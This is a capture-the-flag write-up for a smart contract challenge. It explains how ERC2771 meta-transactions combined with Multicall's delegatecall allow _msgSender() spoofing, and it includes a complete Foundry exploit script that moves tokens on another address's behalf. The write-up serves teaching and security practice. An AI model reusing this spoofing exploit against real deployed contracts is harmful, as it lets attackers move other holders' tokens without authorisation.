# WannaGameChampionship 2024 Misc - Call Me By Your Name I’d never heard anyone use "later" to say goodbye before. It sounded harsh, curt, and dismissive, spoken with the veiled indifference of people who may not care to see or hear from you again. Author: th13vn Attachment: [src](https://storage.w1playground.com/misc_CallMeByYourName.zip) nc chall.w1playground.com 21339 # Intro This challenge presents a smart contract vulnerability in the **WannaCoin** token contract, which implements both **ERC2771Context** for meta-transactions and **Multicall** functionality. The goal is to manipulate the contract to accumulate more than $10000*10^{18}$ tokens in its own address. # Analysis Let's analyze the key components and their interactions: ## Contracts structure ### WannaCoin - Inherits from ERC20, ERC2771Context, and Multicall - Uses trusted forwarder pattern for meta-transactions - Overrides `_msgSender()` and `_msgData()` from ERC2771Context ### Forwarder.sol - Implements EIP712 for typed data signing - Handles meta-transaction execution - Maintains nonces for replay protection ### Setup.sol - Deploys WannaCoin and Forwarder contracts - Win condition: `coin.balanceOf(address(coin)) > 10_000 * 10 ** coin.decimals()` ## Vulnerability Analysis The vulnerability stems from the interaction between two key features: 1. Meta-transactions (ERC2771Context): - Appends the original sender's address to calldata ![image](https://hackmd.io/_uploads/HJqeuvcVkg.png) - Uses `_msgSender()` to extract the real sender from calldata ![image](https://hackmd.io/_uploads/SkyBdP5Eyg.png) 2. Multicall with delegatecall: - Uses delegatecall to execute functions in the contract's context - Preserves the complete calldata, including the appended sender address The critical issue arises because: - The **Multicall** contract uses **delegatecall** which maintains the original calldata - **ERC2771Context** expects the sender's address to be appended to calldata - This creates a scenario where **_msgSender()** can be manipulated during the multicall execution # Attack ## Attack Implementation ```solidity! pragma solidity =0.8.20; import "forge-std/Script.sol"; import "forge-std/console.sol"; import "src/Setup.sol"; contract Solve is Script { uint256 privateKey = `$myPrivateKey`; address myAddress = `$myAddress`; bytes32 FORWARD_REQUEST_TYPEHASH = keccak256( "ForwardRequest(address from,address to,uint256 value,uint256 gas,uint256 nonce,bytes data)" ); bytes32 DOMAIN_TYPEHASH = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); function run() external { vm.startBroadcast(privateKey); Setup setup = Setup(`$SetupContractAddress`); Forwarder forwarder = setup.forwarder(); WannaCoin coin = setup.coin(); bytes[] memory multicalldata = new bytes[](1); multicalldata[0] = abi.encodePacked( abi.encodeWithSelector( coin.transfer.selector, address(coin), 20_000 * 10 ** 18 ), address(setup) ); Forwarder.ForwardRequest memory req; bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes("WannaGame Forwarder")), keccak256(bytes("0.0.1")), block.chainid, address(forwarder) ) ); req = Forwarder.ForwardRequest({ from: myAddress, to: address(coin), value: 0, gas: 100000, nonce: forwarder.getNonce(myAddress), data: abi.encodeWithSelector(coin.multicall.selector, multicalldata) }); bytes32 structHash = keccak256( abi.encode( FORWARD_REQUEST_TYPEHASH, req.from, req.to, req.value, req.gas, req.nonce, keccak256(req.data) ) ); bytes32 digest = keccak256( abi.encodePacked("\x19\x01", domainSeparator, structHash) ); (uint8 v, bytes32 r, bytes32 s) = vm.sign(privateKey, digest); bytes memory signature = abi.encodePacked(r, s, v); forwarder.execute(req, signature); vm.stopBroadcast(); } } ``` ## Attack flow 1. Create a multicall that includes a transfer to the WannaCoin contract 2. Append the setup contract's address to the transfer calldata 3. Package this as a meta-transaction through the forwarder 4. When executed: - The forwarder executes the multicall - The multicall uses delegatecall with the full calldata - `_msgSender()` reads the wrong address from the calldata - The transfer executes with incorrect permissions # Key lessons - Be cautious when combining meta-transactions with delegatecall - Consider how calldata manipulation might affect security mechanisms